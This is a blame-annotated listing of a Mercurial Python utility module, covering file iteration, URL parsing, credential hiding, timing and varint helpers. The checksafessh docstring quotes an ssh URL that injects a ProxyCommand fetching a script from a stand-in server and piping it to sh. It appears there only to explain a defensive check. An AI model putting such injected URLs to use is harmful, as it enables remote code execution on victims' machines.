r31777 | |||
|
r43347 | if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( | ||
|
r43346 | 3, | ||
0, | ||||
): | ||||
|
r30418 | # There is an issue in CPython that some IO methods do not handle EINTR | ||
# correctly. The following table shows what CPython version (and functions) | ||||
# are affected (buggy: has the EINTR bug, okay: otherwise): | ||||
# | ||||
# | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 | ||||
# -------------------------------------------------- | ||||
# fp.__iter__ | buggy | buggy | okay | ||||
# fp.read* | buggy | okay [1] | okay | ||||
# | ||||
# [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. | ||||
# | ||||
# Here we workaround the EINTR issue for fileobj.__iter__. Other methods | ||||
# like "read*" are ignored for now, as Python < 2.7.4 is a minority. | ||||
# | ||||
# Although we can workaround the EINTR issue for fp.__iter__, it is slower: | ||||
# "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in | ||||
# CPython 2, because CPython 2 maintains an internal readahead buffer for | ||||
# fp.__iter__ but not other fp.read* methods. | ||||
# | ||||
# On modern systems like Linux, the "read" syscall cannot be interrupted | ||||
# when reading "fast" files like on-disk files. So the EINTR issue only | ||||
# affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) | ||||
# files approximately as "fast" files and use the fast (unsafe) code path, | ||||
# to minimize the performance impact. | ||||
if sys.version_info >= (2, 7, 4): | ||||
# fp.readline deals with EINTR correctly, use it as a workaround. | ||||
def _safeiterfile(fp): | ||||
|
r43347 | return iter(fp.readline, b'') | ||
|
r43346 | |||
|
r30418 | else: | ||
# fp.read* are broken too, manually deal with EINTR in a stupid way. | ||||
# note: this may block longer than necessary because of bufsize. | ||||
def _safeiterfile(fp, bufsize=4096): | ||||
fd = fp.fileno() | ||||
|
r43347 | line = b'' | ||
|
r30418 | while True: | ||
try: | ||||
buf = os.read(fd, bufsize) | ||||
except OSError as ex: | ||||
# os.read only raises EINTR before any data is read | ||||
if ex.errno == errno.EINTR: | ||||
continue | ||||
else: | ||||
raise | ||||
line += buf | ||||
|
r43347 | if b'\n' in buf: | ||
|
r30418 | splitted = line.splitlines(True) | ||
|
r43347 | line = b'' | ||
|
r30418 | for l in splitted: | ||
|
r43347 | if l[-1] == b'\n': | ||
|
r30418 | yield l | ||
else: | ||||
line = l | ||||
if not buf: | ||||
break | ||||
if line: | ||||
yield line | ||||
def iterfile(fp): | ||||
fastpath = True | ||||
if type(fp) is file: | ||||
fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) | ||||
if fastpath: | ||||
return fp | ||||
else: | ||||
return _safeiterfile(fp) | ||||
|
r43346 | |||
|
r30418 | else: | ||
# PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. | ||||
def iterfile(fp): | ||||
return fp | ||||
|
r30395 | |||
|
r43346 | |||
|
r7879 | def iterlines(iterator): | ||
for chunk in iterator: | ||||
for line in chunk.splitlines(): | ||||
yield line | ||||
|
r9610 | |||
|
r43346 | |||
|
r9610 | def expandpath(path): | ||
return os.path.expanduser(os.path.expandvars(path)) | ||||
|
r10239 | |||
|
r43346 | |||
|
r13392 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): | ||
|
r11988 | """Return the result of interpolating items in the mapping into string s. | ||
prefix is a single character string, or a two character string with | ||||
a backslash as the first character if the prefix needs to be escaped in | ||||
a regular expression. | ||||
fn is an optional function that will be applied to the replacement text | ||||
just before replacement. | ||||
|
r13392 | |||
escape_prefix is an optional flag that allows using doubled prefix for | ||||
its escaping. | ||||
|
r11988 | """ | ||
fn = fn or (lambda s: s) | ||||
|
r43347 | patterns = b'|'.join(mapping.keys()) | ||
|
r13392 | if escape_prefix: | ||
|
r43347 | patterns += b'|' + prefix | ||
|
r13392 | if len(prefix) > 1: | ||
prefix_char = prefix[1:] | ||||
else: | ||||
prefix_char = prefix | ||||
mapping[prefix_char] = prefix_char | ||||
|
r35145 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) | ||
|
r11988 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | ||
|
r43346 | |||
|
r12076 | def getport(port): | ||
"""Return the port for a given network service. | ||||
If port is an integer, it's returned as is. If it's a string, it's | ||||
looked up using socket.getservbyname(). If there's no matching | ||||
|
r26587 | service, error.Abort is raised. | ||
|
r12076 | """ | ||
try: | ||||
return int(port) | ||||
except ValueError: | ||||
pass | ||||
try: | ||||
|
r36055 | return socket.getservbyname(pycompat.sysstr(port)) | ||
|
r12076 | except socket.error: | ||
|
r43346 | raise error.Abort( | ||
|
r43347 | _(b"no port number associated with service '%s'") % port | ||
|
r43346 | ) | ||
|
r12087 | |||
|
r14076 | class url(object): | ||
|
r14146 | r"""Reliable URL parser. | ||
|
r14076 | |||
This parses URLs and provides attributes for the following | ||||
components: | ||||
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | ||||
Missing components are set to None. The only exception is | ||||
fragment, which is set to '' if present but empty. | ||||
If parsefragment is False, fragment is included in query. If | ||||
parsequery is False, query is included in path. If both are | ||||
False, both fragment and query are included in path. | ||||
See http://www.ietf.org/rfc/rfc2396.txt for more information. | ||||
Note that for backward compatibility reasons, bundle URLs do not | ||||
take host names. That means 'bundle://../' has a path of '../'. | ||||
Examples: | ||||
|
r34133 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | ||
|
r14076 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | ||
|
r34133 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | ||
|
r14076 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | ||
|
r34133 | >>> url(b'file:///home/joe/repo') | ||
|
r14076 | <url scheme: 'file', path: '/home/joe/repo'> | ||
|
r34133 | >>> url(b'file:///c:/temp/foo/') | ||
|
r14915 | <url scheme: 'file', path: 'c:/temp/foo/'> | ||
|
r34133 | >>> url(b'bundle:foo') | ||
|
r14076 | <url scheme: 'bundle', path: 'foo'> | ||
|
r34133 | >>> url(b'bundle://../foo') | ||
|
r14076 | <url scheme: 'bundle', path: '../foo'> | ||
|
r34133 | >>> url(br'c:\foo\bar') | ||
|
r14146 | <url path: 'c:\\foo\\bar'> | ||
|
r34133 | >>> url(br'\\blah\blah\blah') | ||
|
r14699 | <url path: '\\\\blah\\blah\\blah'> | ||
|
r34133 | >>> url(br'\\blah\blah\blah#baz') | ||
|
r15074 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | ||
|
r34133 | >>> url(br'file:///C:\users\me') | ||
|
r20106 | <url scheme: 'file', path: 'C:\\users\\me'> | ||
|
r14076 | |||
Authentication credentials: | ||||
|
r34133 | >>> url(b'ssh://joe:xyz@x/repo') | ||
|
r14076 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | ||
|
r34133 | >>> url(b'ssh://joe@x/repo') | ||
|
r14076 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | ||
Query strings and fragments: | ||||
|
r34133 | >>> url(b'http://host/a?b#c') | ||
|
r14076 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | ||
|
r34133 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | ||
|
r14076 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | ||
|
r30036 | |||
Empty path: | ||||
|
r34133 | >>> url(b'') | ||
|
r30036 | <url path: ''> | ||
|
r34133 | >>> url(b'#a') | ||
|
r30036 | <url path: '', fragment: 'a'> | ||
|
r34133 | >>> url(b'http://host/') | ||
|
r30036 | <url scheme: 'http', host: 'host', path: ''> | ||
|
r34133 | >>> url(b'http://host/#a') | ||
|
r30036 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | ||
Only scheme: | ||||
|
r34133 | >>> url(b'http:') | ||
|
r30036 | <url scheme: 'http'> | ||
|
r14076 | """ | ||
|
r43347 | _safechars = b"!~*'()+" | ||
_safepchars = b"/!~*'()+:\\" | ||||
_matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | ||||
|
r14076 | |||
def __init__(self, path, parsequery=True, parsefragment=True): | ||||
# We slowly chomp away at path until we have only the path left | ||||
self.scheme = self.user = self.passwd = self.host = None | ||||
self.port = self.path = self.query = self.fragment = None | ||||
self._localpath = True | ||||
|
r43347 | self._hostport = b'' | ||
|
r14076 | self._origpath = path | ||
|
r43347 | if parsefragment and b'#' in path: | ||
path, self.fragment = path.split(b'#', 1) | ||||
|
r15074 | |||
|
r14699 | # special case for Windows drive letters and UNC paths | ||
|
r43347 | if hasdriveletter(path) or path.startswith(b'\\\\'): | ||
|
r14076 | self.path = path | ||
return | ||||
# For compatibility reasons, we can't handle bundle paths as | ||||
# normal URLS | ||||
|
r43347 | if path.startswith(b'bundle:'): | ||
self.scheme = b'bundle' | ||||
|
r14076 | path = path[7:] | ||
|
r43347 | if path.startswith(b'//'): | ||
|
r14076 | path = path[2:] | ||
self.path = path | ||||
return | ||||
if self._matchscheme(path): | ||||
|
r43347 | parts = path.split(b':', 1) | ||
|
r14076 | if parts[0]: | ||
self.scheme, path = parts | ||||
self._localpath = False | ||||
if not path: | ||||
path = None | ||||
if self._localpath: | ||||
|
r43347 | self.path = b'' | ||
|
r14076 | return | ||
else: | ||||
if self._localpath: | ||||
self.path = path | ||||
return | ||||
|
r43347 | if parsequery and b'?' in path: | ||
path, self.query = path.split(b'?', 1) | ||||
|
r14076 | if not path: | ||
path = None | ||||
if not self.query: | ||||
self.query = None | ||||
# // is required to specify a host/authority | ||||
|
r43347 | if path and path.startswith(b'//'): | ||
parts = path[2:].split(b'/', 1) | ||||
|
r14076 | if len(parts) > 1: | ||
self.host, path = parts | ||||
else: | ||||
self.host = parts[0] | ||||
path = None | ||||
if not self.host: | ||||
self.host = None | ||||
|
r15018 | # path of file:///d is /d | ||
# path of file:///d:/ is d:/, not /d:/ | ||||
|
r14915 | if path and not hasdriveletter(path): | ||
|
r43347 | path = b'/' + path | ||
if self.host and b'@' in self.host: | ||||
self.user, self.host = self.host.rsplit(b'@', 1) | ||||
if b':' in self.user: | ||||
self.user, self.passwd = self.user.split(b':', 1) | ||||
|
r14076 | if not self.host: | ||
self.host = None | ||||
# Don't split on colons in IPv6 addresses without ports | ||||
|
r43346 | if ( | ||
self.host | ||||
|
r43347 | and b':' in self.host | ||
and not ( | ||||
self.host.startswith(b'[') and self.host.endswith(b']') | ||||
) | ||||
|
r43346 | ): | ||
|
r14076 | self._hostport = self.host | ||
|
r43347 | self.host, self.port = self.host.rsplit(b':', 1) | ||
|
r14076 | if not self.host: | ||
self.host = None | ||||
|
r43346 | if ( | ||
self.host | ||||
|
r43347 | and self.scheme == b'file' | ||
and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') | ||||
|
r43346 | ): | ||
|
r43347 | raise error.Abort( | ||
_(b'file:// URLs can only refer to localhost') | ||||
) | ||||
|
r14076 | |||
self.path = path | ||||
|
r14988 | # leave the query string escaped | ||
|
r43347 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): | ||
|
r14076 | v = getattr(self, a) | ||
if v is not None: | ||||
|
r31567 | setattr(self, a, urlreq.unquote(v)) | ||
|
r14076 | |||
|
r34074 | @encoding.strmethod | ||
|
r14076 | def __repr__(self): | ||
attrs = [] | ||||
|
r43346 | for a in ( | ||
|
r43347 | b'scheme', | ||
b'user', | ||||
b'passwd', | ||||
b'host', | ||||
b'port', | ||||
b'path', | ||||
b'query', | ||||
b'fragment', | ||||
|
r43346 | ): | ||
|
r14076 | v = getattr(self, a) | ||
if v is not None: | ||||
|
r43347 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) | ||
return b'<url %s>' % b', '.join(attrs) | ||||
|
r14076 | |||
|
r33022 | def __bytes__(self): | ||
|
r14147 | r"""Join the URL's components back into a URL string. | ||
|
r14076 | |||
Examples: | ||||
|
r34136 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | ||
|
r15452 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | ||
|
r34136 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | ||
|
r14988 | 'http://user:pw@host:80/?foo=bar&baz=42' | ||
|
r34136 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | ||
|
r14988 | 'http://user:pw@host:80/?foo=bar%3dbaz' | ||
|
r34136 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | ||
|
r14076 | 'ssh://user:pw@[::1]:2200//home/joe#' | ||
|
r34136 | >>> bytes(url(b'http://localhost:80//')) | ||
|
r14076 | 'http://localhost:80//' | ||
|
r34136 | >>> bytes(url(b'http://localhost:80/')) | ||
|
r14076 | 'http://localhost:80/' | ||
|
r34136 | >>> bytes(url(b'http://localhost:80')) | ||
|
r14076 | 'http://localhost:80/' | ||
|
r34136 | >>> bytes(url(b'bundle:foo')) | ||
|
r14076 | 'bundle:foo' | ||
|
r34136 | >>> bytes(url(b'bundle://../foo')) | ||
|
r14076 | 'bundle:../foo' | ||
|
r34136 | >>> bytes(url(b'path')) | ||
|
r14076 | 'path' | ||
|
r34136 | >>> bytes(url(b'file:///tmp/foo/bar')) | ||
|
r14313 | 'file:///tmp/foo/bar' | ||
|
r34136 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | ||
|
r15611 | 'file:///c:/tmp/foo/bar' | ||
|
r34139 | >>> print(url(br'bundle:foo\bar')) | ||
|
r14147 | bundle:foo\bar | ||
|
r34139 | >>> print(url(br'file:///D:\data\hg')) | ||
|
r20106 | file:///D:\data\hg | ||
|
r14076 | """ | ||
if self._localpath: | ||||
s = self.path | ||||
|
r43347 | if self.scheme == b'bundle': | ||
s = b'bundle:' + s | ||||
|
r14076 | if self.fragment: | ||
|
r43347 | s += b'#' + self.fragment | ||
|
r14076 | return s | ||
|
r43347 | s = self.scheme + b':' | ||
|
r14313 | if self.user or self.passwd or self.host: | ||
|
r43347 | s += b'//' | ||
|
r43346 | elif self.scheme and ( | ||
not self.path | ||||
|
r43347 | or self.path.startswith(b'/') | ||
|
r43346 | or hasdriveletter(self.path) | ||
): | ||||
|
r43347 | s += b'//' | ||
|
r15609 | if hasdriveletter(self.path): | ||
|
r43347 | s += b'/' | ||
|
r14076 | if self.user: | ||
|
r28883 | s += urlreq.quote(self.user, safe=self._safechars) | ||
|
r14076 | if self.passwd: | ||
|
r43347 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) | ||
|
r14076 | if self.user or self.passwd: | ||
|
r43347 | s += b'@' | ||
|
r14076 | if self.host: | ||
|
r43347 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): | ||
|
r28883 | s += urlreq.quote(self.host) | ||
|
r14076 | else: | ||
s += self.host | ||||
if self.port: | ||||
|
r43347 | s += b':' + urlreq.quote(self.port) | ||
|
r14076 | if self.host: | ||
|
r43347 | s += b'/' | ||
|
r14076 | if self.path: | ||
|
r14988 | # TODO: similar to the query string, we should not unescape the | ||
# path when we store it, the path might contain '%2f' = '/', | ||||
# which we should *not* escape. | ||||
|
r28883 | s += urlreq.quote(self.path, safe=self._safepchars) | ||
|
r14076 | if self.query: | ||
|
r14988 | # we store the query in escaped form. | ||
|
r43347 | s += b'?' + self.query | ||
|
r14076 | if self.fragment is not None: | ||
|
r43347 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) | ||
|
r14076 | return s | ||
|
r33022 | __str__ = encoding.strmethod(__bytes__) | ||
|
r14076 | def authinfo(self): | ||
user, passwd = self.user, self.passwd | ||||
try: | ||||
self.user, self.passwd = None, None | ||||
|
r31841 | s = bytes(self) | ||
|
r14076 | finally: | ||
self.user, self.passwd = user, passwd | ||||
if not self.user: | ||||
return (s, None) | ||||
|
r15028 | # authinfo[1] is passed to urllib2 password manager, and its | ||
# URIs must not contain credentials. The host is passed in the | ||||
# URIs list because Python < 2.4.3 uses only that to search for | ||||
# a password. | ||||
|
r43347 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) | ||
|
r14076 | |||
|
r14766 | def isabs(self): | ||
|
r43347 | if self.scheme and self.scheme != b'file': | ||
|
r43346 | return True # remote URL | ||
|
r14766 | if hasdriveletter(self.path): | ||
|
r43346 | return True # absolute for our purposes - can't be joined() | ||
|
r33096 | if self.path.startswith(br'\\'): | ||
|
r43346 | return True # Windows UNC path | ||
|
r43347 | if self.path.startswith(b'/'): | ||
|
r43346 | return True # POSIX-style | ||
|
r14766 | return False | ||
|
r14076 | def localpath(self): | ||
|
r43347 | if self.scheme == b'file' or self.scheme == b'bundle': | ||
path = self.path or b'/' | ||||
|
r14076 | # For Windows, we need to promote hosts containing drive | ||
# letters to paths with drive letters. | ||||
if hasdriveletter(self._hostport): | ||||
|
r43347 | path = self._hostport + b'/' + self.path | ||
|
r43346 | elif ( | ||
self.host is not None and self.path and not hasdriveletter(path) | ||||
): | ||||
|
r43347 | path = b'/' + path | ||
|
r14076 | return path | ||
return self._origpath | ||||
|
r20353 | def islocal(self): | ||
'''whether localpath will return something that posixfile can open''' | ||||
|
r43346 | return ( | ||
|
r43347 | not self.scheme | ||
or self.scheme == b'file' | ||||
or self.scheme == b'bundle' | ||||
|
r43346 | ) | ||
|
r20353 | |||
|
r14076 | def hasscheme(path): | ||
return bool(url(path).scheme) | ||||
|
r43346 | |||
|
r14076 | def hasdriveletter(path): | ||
|
r43347 | return path and path[1:2] == b':' and path[0:1].isalpha() | ||
|
r14076 | |||
|
r43346 | |||
|
r14825 | def urllocalpath(path): | ||
|
r14076 | return url(path, parsequery=False, parsefragment=False).localpath() | ||
|
r43346 | |||
|
r33723 | def checksafessh(path): | ||
"""check if a path / url is a potentially unsafe ssh exploit (SEC) | ||||
This is a sanity check for ssh urls. ssh will parse the first item as | ||||
an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | ||||
Let's prevent these potentially exploited urls entirely and warn the | ||||
user. | ||||
Raises an error.Abort when the url is unsafe. | ||||
""" | ||||
path = urlreq.unquote(path) | ||||
|
r43347 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | ||
|
r43346 | raise error.Abort( | ||
|
r43347 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | ||
|
r43346 | ) | ||
|
r33723 | |||
|
r14076 | def hidepassword(u): | ||
'''hide user credential in a url string''' | ||||
u = url(u) | ||||
if u.passwd: | ||||
|
r43347 | u.passwd = b'***' | ||
|
r31841 | return bytes(u) | ||
|
r14076 | |||
|
r43346 | |||
|
r14076 | def removeauth(u): | ||
'''remove all authentication information from a url string''' | ||||
u = url(u) | ||||
u.user = u.passwd = None | ||||
|
r37384 | return bytes(u) | ||
|
r14515 | |||
|
r43346 | |||
|
r18736 | timecount = unitcountfn( | ||
|
r43347 | (1, 1e3, _(b'%.0f s')), | ||
(100, 1, _(b'%.1f s')), | ||||
(10, 1, _(b'%.2f s')), | ||||
(1, 1, _(b'%.3f s')), | ||||
(100, 0.001, _(b'%.1f ms')), | ||||
(10, 0.001, _(b'%.2f ms')), | ||||
(1, 0.001, _(b'%.3f ms')), | ||||
(100, 0.000001, _(b'%.1f us')), | ||||
(10, 0.000001, _(b'%.2f us')), | ||||
(1, 0.000001, _(b'%.3f us')), | ||||
(100, 0.000000001, _(b'%.1f ns')), | ||||
(10, 0.000000001, _(b'%.2f ns')), | ||||
(1, 0.000000001, _(b'%.3f ns')), | ||||
|
r43346 | ) | ||
|
r18736 | |||
|
r38833 | @attr.s | ||
class timedcmstats(object): | ||||
"""Stats information produced by the timedcm context manager on entering.""" | ||||
# the starting value of the timer as a float (meaning and resulution is | ||||
# platform dependent, see util.timer) | ||||
start = attr.ib(default=attr.Factory(lambda: timer())) | ||||
# the number of seconds as a floating point value; starts at 0, updated when | ||||
# the context is exited. | ||||
elapsed = attr.ib(default=0) | ||||
# the number of nested timedcm context managers. | ||||
level = attr.ib(default=1) | ||||
|
r38848 | def __bytes__(self): | ||
|
r43347 | return timecount(self.elapsed) if self.elapsed else b'<unknown>' | ||
|
r38833 | |||
|
r38848 | __str__ = encoding.strmethod(__bytes__) | ||
|
r43346 | |||
|
r38833 | @contextlib.contextmanager | ||
|
r39295 | def timedcm(whencefmt, *whenceargs): | ||
|
r38833 | """A context manager that produces timing information for a given context. | ||
On entering a timedcmstats instance is produced. | ||||
This context manager is reentrant. | ||||
""" | ||||
# track nested context managers | ||||
timedcm._nested += 1 | ||||
timing_stats = timedcmstats(level=timedcm._nested) | ||||
try: | ||||
|
r39293 | with tracing.log(whencefmt, *whenceargs): | ||
yield timing_stats | ||||
|
r38833 | finally: | ||
timing_stats.elapsed = timer() - timing_stats.start | ||||
timedcm._nested -= 1 | ||||
|
r43346 | |||
|
r38833 | timedcm._nested = 0 | ||
|
r18736 | |||
|
r43346 | |||
|
r18736 | def timed(func): | ||
'''Report the execution time of a function call to stderr. | ||||
During development, use as a decorator when you need to measure | ||||
the cost of a function, e.g. as follows: | ||||
@util.timed | ||||
def foo(a, b, c): | ||||
pass | ||||
''' | ||||
def wrapper(*args, **kwargs): | ||||
|
r39294 | with timedcm(pycompat.bytestr(func.__name__)) as time_stats: | ||
|
r38833 | result = func(*args, **kwargs) | ||
stderr = procutil.stderr | ||||
|
r43346 | stderr.write( | ||
|
r43347 | b'%s%s: %s\n' | ||
|
r43346 | % ( | ||
|
r43347 | b' ' * time_stats.level * 2, | ||
|
r43346 | pycompat.bytestr(func.__name__), | ||
time_stats, | ||||
) | ||||
) | ||||
|
r38833 | return result | ||
|
r43346 | |||
|
r18736 | return wrapper | ||
|
r19194 | |||
|
r43346 | |||
_sizeunits = ( | ||||
|
r43347 | (b'm', 2 ** 20), | ||
(b'k', 2 ** 10), | ||||
(b'g', 2 ** 30), | ||||
(b'kb', 2 ** 10), | ||||
(b'mb', 2 ** 20), | ||||
(b'gb', 2 ** 30), | ||||
(b'b', 1), | ||||
|
r43346 | ) | ||
|
r19194 | |||
def sizetoint(s): | ||||
'''Convert a space specifier to a byte count. | ||||
|
r34133 | >>> sizetoint(b'30') | ||
|
r19194 | 30 | ||
|
r34133 | >>> sizetoint(b'2.2kb') | ||
|
r19194 | 2252 | ||
|
r34133 | >>> sizetoint(b'6M') | ||
|
r19194 | 6291456 | ||
''' | ||||
t = s.strip().lower() | ||||
try: | ||||
for k, u in _sizeunits: | ||||
if t.endswith(k): | ||||
|
r43346 | return int(float(t[: -len(k)]) * u) | ||
|
r19194 | return int(t) | ||
except ValueError: | ||||
|
r43347 | raise error.ParseError(_(b"couldn't parse size: %s") % s) | ||
|
r19211 | |||
|
r43346 | |||
|
r19211 | class hooks(object): | ||
'''A collection of hook functions that can be used to extend a | ||||
|
r26098 | function's behavior. Hooks are called in lexicographic order, | ||
|
r19211 | based on the names of their sources.''' | ||
def __init__(self): | ||||
self._hooks = [] | ||||
def add(self, source, hook): | ||||
self._hooks.append((source, hook)) | ||||
def __call__(self, *args): | ||||
self._hooks.sort(key=lambda x: x[0]) | ||||
|
r21046 | results = [] | ||
|
r19211 | for source, hook in self._hooks: | ||
|
r21046 | results.append(hook(*args)) | ||
return results | ||||
|
r20244 | |||
|
r43346 | |||
|
r43347 | def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): | ||
|
r28497 | '''Yields lines for a nicely formatted stacktrace. | ||
|
r31315 | Skips the 'skip' last entries, then return the last 'depth' entries. | ||
|
r28497 | Each file+linenumber is formatted according to fileline. | ||
Each line is formatted according to line. | ||||
If line is None, it yields: | ||||
length of longest filepath+line number, | ||||
filepath+linenumber, | ||||
function | ||||
Not be used in production code but very convenient while developing. | ||||
''' | ||||
|
r43346 | entries = [ | ||
(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) | ||||
for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] | ||||
][-depth:] | ||||
|
r28497 | if entries: | ||
fnmax = max(len(entry[0]) for entry in entries) | ||||
for fnln, func in entries: | ||||
if line is None: | ||||
yield (fnmax, fnln, func) | ||||
else: | ||||
yield line % (fnmax, fnln, func) | ||||
|
r43346 | |||
def debugstacktrace( | ||||
|
r43347 | msg=b'stacktrace', | ||
skip=0, | ||||
f=procutil.stderr, | ||||
otherf=procutil.stdout, | ||||
depth=0, | ||||
|
r43346 | ): | ||
|
r20244 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. | ||
|
r31315 | Skips the 'skip' entries closest to the call, then show 'depth' entries. | ||
By default it will flush stdout first. | ||||
|
r28496 | It can be used everywhere and intentionally does not require an ui object. | ||
|
r20244 | Not be used in production code but very convenient while developing. | ||
''' | ||||
|
r20542 | if otherf: | ||
otherf.flush() | ||||
|
r43347 | f.write(b'%s at:\n' % msg.rstrip()) | ||
|
r31315 | for line in getstackframes(skip + 1, depth=depth): | ||
|
r28497 | f.write(line) | ||
|
r20542 | f.flush() | ||
|
r20244 | |||
|
r43346 | |||
|
r24635 | def finddirs(path): | ||
|
r43347 | pos = path.rfind(b'/') | ||
|
r24635 | while pos != -1: | ||
yield path[:pos] | ||||
|
r43347 | pos = path.rfind(b'/', 0, pos) | ||
yield b'' | ||||
|
r24635 | |||
|
r33819 | |||
|
r20244 | # convenient shortcut | ||
dst = debugstacktrace | ||||
|
r34555 | |||
|
r43346 | |||
|
r34555 | def safename(f, tag, ctx, others=None): | ||
""" | ||||
Generate a name that it is safe to rename f to in the given context. | ||||
f: filename to rename | ||||
tag: a string tag that will be included in the new name | ||||
ctx: a context, in which the new name must not exist | ||||
others: a set of other filenames that the new name must not be in | ||||
Returns a file name of the form oldname~tag[~number] which does not exist | ||||
in the provided context and is not in the set of other names. | ||||
""" | ||||
if others is None: | ||||
others = set() | ||||
|
r43347 | fn = b'%s~%s' % (f, tag) | ||
|
r34555 | if fn not in ctx and fn not in others: | ||
return fn | ||||
for n in itertools.count(1): | ||||
|
r43347 | fn = b'%s~%s~%s' % (f, tag, n) | ||
|
r34555 | if fn not in ctx and fn not in others: | ||
return fn | ||||
|
r35772 | |||
|
r43346 | |||
|
r35772 | def readexactly(stream, n): | ||
'''read n bytes from stream.read and abort if less was available''' | ||||
s = stream.read(n) | ||||
if len(s) < n: | ||||
|
r43346 | raise error.Abort( | ||
|
r43387 | _(b"stream ended unexpectedly (got %d bytes, expected %d)") | ||
|
r43346 | % (len(s), n) | ||
) | ||||
|
r35772 | return s | ||
|
r35773 | |||
|
r43346 | |||
|
r35773 | def uvarintencode(value): | ||
"""Encode an unsigned integer value to a varint. | ||||
A varint is a variable length integer of 1 or more bytes. Each byte | ||||
except the last has the most significant bit set. The lower 7 bits of | ||||
each byte store the 2's complement representation, least significant group | ||||
first. | ||||
>>> uvarintencode(0) | ||||
'\\x00' | ||||
>>> uvarintencode(1) | ||||
'\\x01' | ||||
>>> uvarintencode(127) | ||||
'\\x7f' | ||||
>>> uvarintencode(1337) | ||||
'\\xb9\\n' | ||||
>>> uvarintencode(65536) | ||||
'\\x80\\x80\\x04' | ||||
>>> uvarintencode(-1) | ||||
Traceback (most recent call last): | ||||
... | ||||
ProgrammingError: negative value for uvarint: -1 | ||||
""" | ||||
if value < 0: | ||||
|
r43347 | raise error.ProgrammingError(b'negative value for uvarint: %d' % value) | ||
|
r43346 | bits = value & 0x7F | ||
|
r35773 | value >>= 7 | ||
bytes = [] | ||||
while value: | ||||
bytes.append(pycompat.bytechr(0x80 | bits)) | ||||
|
r43346 | bits = value & 0x7F | ||
|
r35773 | value >>= 7 | ||
bytes.append(pycompat.bytechr(bits)) | ||||
|
r43347 | return b''.join(bytes) | ||
|
r35773 | |||
|
r43346 | |||
|
r35773 | def uvarintdecodestream(fh): | ||
"""Decode an unsigned variable length integer from a stream. | ||||
The passed argument is anything that has a ``.read(N)`` method. | ||||
>>> try: | ||||
... from StringIO import StringIO as BytesIO | ||||
... except ImportError: | ||||
... from io import BytesIO | ||||
>>> uvarintdecodestream(BytesIO(b'\\x00')) | ||||
0 | ||||
>>> uvarintdecodestream(BytesIO(b'\\x01')) | ||||
1 | ||||
>>> uvarintdecodestream(BytesIO(b'\\x7f')) | ||||
127 | ||||
>>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) | ||||
1337 | ||||
>>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) | ||||
65536 | ||||
>>> uvarintdecodestream(BytesIO(b'\\x80')) | ||||
Traceback (most recent call last): | ||||
... | ||||
Abort: stream ended unexpectedly (got 0 bytes, expected 1) | ||||
""" | ||||
result = 0 | ||||
shift = 0 | ||||
while True: | ||||
byte = ord(readexactly(fh, 1)) | ||||
|
r43346 | result |= (byte & 0x7F) << shift | ||
|
r35773 | if not (byte & 0x80): | ||
return result | ||||
shift += 7 | ||||